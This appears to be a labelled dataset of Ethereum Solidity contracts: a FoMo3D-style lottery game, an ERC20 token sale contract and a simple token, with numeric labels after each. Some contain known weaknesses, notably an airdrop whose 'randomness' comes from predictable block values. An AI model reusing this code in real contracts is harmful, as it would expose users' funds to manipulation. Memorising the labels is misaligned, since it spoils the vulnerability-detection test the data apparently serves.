core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
FeeAddr.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
Divies.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 50;
FeeAddr.transfer(_com);
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
Divies.deposit.value(_p3d)();
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth.mul(2) / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
(msg.sender == 0xc2b140d3a0cf1afce033cbd7d058e7fc5729f50f || msg.sender == 0xdEADBeef9C8846C434b2b55B73D735D51Ceac1aa),
"only team break the bank can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface JIincForwarderInterface {
function deposit() external payable;
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 0 | 1,519 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != 0);
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != 0);
require(value <= _balances[account]);
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
interface IJoySale {
function getEndDate() external view returns (uint256);
}
contract JoyToken is ERC20, Ownable {
string public symbol;
string public name;
uint256 public decimals;
uint256 private _cap;
address public saleAddress;
IJoySale public sale;
bool public unlocked = false;
bool public sendedToSale;
bool public sendedToTeam;
bool public sendedToTeamLock;
bool public sendedToAdvisors;
bool public sendedToAdvisorsLock;
bool public sendedToService;
uint256 public salePart;
uint256 public teamPart;
uint256 public teamPartLock;
uint256 public advisorsPart;
uint256 public advisorsPartLock;
uint256 public servicePart;
uint256 constant LOCK_TIME = 365 days;
modifier whenUnlocked() {
if (msg.sender != saleAddress) {
require(unlocked);
}
_;
}
modifier onlySale() {
require(msg.sender == saleAddress);
_;
}
function cap() public view returns(uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
function transfer(address _to, uint256 _value) public whenUnlocked() returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenUnlocked() returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenUnlocked() returns (bool) {
return super.approve(_spender, _value);
}
constructor() public {
symbol = "JOY";
name = "Joy coin";
decimals = 8;
_cap = 2400000000 * 10 ** decimals;
salePart = 1625400000 * 10 ** decimals;
advisorsPart = 42000000 * 10 ** decimals;
advisorsPartLock = 126000000 * 10 ** decimals;
teamPart = 31650000 * 10 ** decimals;
teamPartLock = 94950000 * 10 ** decimals;
servicePart = 480000000 * 10 ** decimals;
require (_cap == salePart + advisorsPart + advisorsPartLock + teamPart + teamPartLock + servicePart);
}
function setSaleAddress(address _address) public onlyOwner returns (bool) {
require(saleAddress == address(0));
require (!sendedToSale);
saleAddress = _address;
sale = IJoySale(saleAddress);
return true;
}
function unlockTokens() public onlyOwner returns (bool) {
unlocked = true;
return true;
}
function burnUnsold() public onlySale returns (bool) {
_burn(saleAddress, balanceOf(saleAddress));
return true;
}
function sendTokensToSale() public onlyOwner returns (bool) {
require (saleAddress != address(0x0));
require (!sendedToSale);
sendedToSale = true;
_mint(saleAddress, salePart);
return true;
}
function sendTokensToTeamLock(address _teamAddress) public onlyOwner returns (bool) {
require (_teamAddress != address(0x0));
require (!sendedToTeamLock);
require (sale.getEndDate() > 0 && now > (sale.getEndDate() + LOCK_TIME) );
sendedToTeamLock = true;
_mint(_teamAddress, teamPartLock);
return true;
}
function sendTokensToTeam(address _teamAddress) public onlyOwner returns (bool) {
require (_teamAddress != address(0x0));
require (!sendedToTeam);
require ( sale.getEndDate() > 0 && now > sale.getEndDate() );
sendedToTeam = true;
_mint(_teamAddress, teamPart);
return true;
}
function sendTokensToAdvisors(address _advisorsAddress) public onlyOwner returns (bool) {
require (_advisorsAddress != address(0x0));
require (!sendedToAdvisors);
require (sale.getEndDate() > 0 && now > sale.getEndDate());
sendedToAdvisors = true;
_mint(_advisorsAddress, advisorsPart);
return true;
}
function sendTokensToAdvisorsLock(address _advisorsAddress) public onlyOwner returns (bool) {
require (_advisorsAddress != address(0x0));
require (!sendedToAdvisorsLock);
require (sale.getEndDate() > 0 && now > (sale.getEndDate() + LOCK_TIME) );
sendedToAdvisorsLock = true;
_mint(_advisorsAddress, advisorsPartLock);
return true;
}
function sendTokensToService(address _serviceAddress) public onlyOwner returns (bool) {
require (_serviceAddress != address(0x0));
require (!sendedToService);
sendedToService = true;
_mint(_serviceAddress, servicePart);
return true;
}
}
| 1 | 3,719 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MELON {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function MELON() {
totalSupply = 3911133;
symbol = 'MELON';
owner = 0x91b5a9194b0293d793dc15678d46575894d45898;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
}
| 1 | 2,386 |
pragma solidity ^0.4.21;
contract Token {
function transfer(address receiver, uint amount) public returns(bool);
function transferFrom(address sender, address receiver, uint amount) public returns(bool);
function balanceOf(address holder) public view returns(uint);
}
contract Casino {
mapping(address => bool) public authorized;
}
contract Owned {
address public owner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Owned() public {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract SafeMath {
function safeSub(uint a, uint b) pure internal returns(uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns(uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
function safeMul(uint a, uint b) pure internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
}
contract BankrollLending is Owned, SafeMath {
enum StatePhases { deposit, bankroll, update, withdraw }
uint public cycle;
Casino public casino;
Token public token;
mapping(uint => uint) public initialStakes;
mapping(uint => uint) public finalStakes;
uint public totalStakes;
uint public numHolders;
address[] public stakeholders;
mapping(address => uint) public stakes;
uint8 public depositGasCost;
uint8 public withdrawGasCost;
uint public updateGasCost;
uint public minStakingAmount;
uint public maxUpdates;
uint public maxBatchAssignment;
mapping(uint => uint) lastUpdateIndex;
event StakeUpdate(address holder, uint stake);
function BankrollLending(address tokenAddr, address casinoAddr) public {
token = Token(tokenAddr);
casino = Casino(casinoAddr);
maxUpdates = 200;
maxBatchAssignment = 200;
cycle = 1;
}
function setCasinoAddress(address casinoAddr) public onlyOwner {
casino = Casino(casinoAddr);
}
function setDepositGasCost(uint8 gasCost) public onlyAuthorized {
depositGasCost = gasCost;
}
function setWithdrawGasCost(uint8 gasCost) public onlyAuthorized {
withdrawGasCost = gasCost;
}
function setUpdateGasCost(uint gasCost) public onlyAuthorized {
updateGasCost = gasCost;
}
function setMaxUpdates(uint newMax) public onlyAuthorized{
maxUpdates = newMax;
}
function setMinStakingAmount(uint amount) public onlyAuthorized {
minStakingAmount = amount;
}
function setMaxBatchAssignment(uint newMax) public onlyAuthorized {
maxBatchAssignment = newMax;
}
function deposit(uint value, uint allowedMax, uint8 v, bytes32 r, bytes32 s) public depositPhase {
require(verifySignature(msg.sender, allowedMax, v, r, s));
if (addDeposit(msg.sender, value, numHolders, allowedMax))
numHolders = safeAdd(numHolders, 1);
totalStakes = safeSub(safeAdd(totalStakes, value), depositGasCost);
}
function batchAssignment(address[] to, uint[] value) public onlyAuthorized depositPhase {
require(to.length == value.length);
require(to.length <= maxBatchAssignment);
uint newTotalStakes = totalStakes;
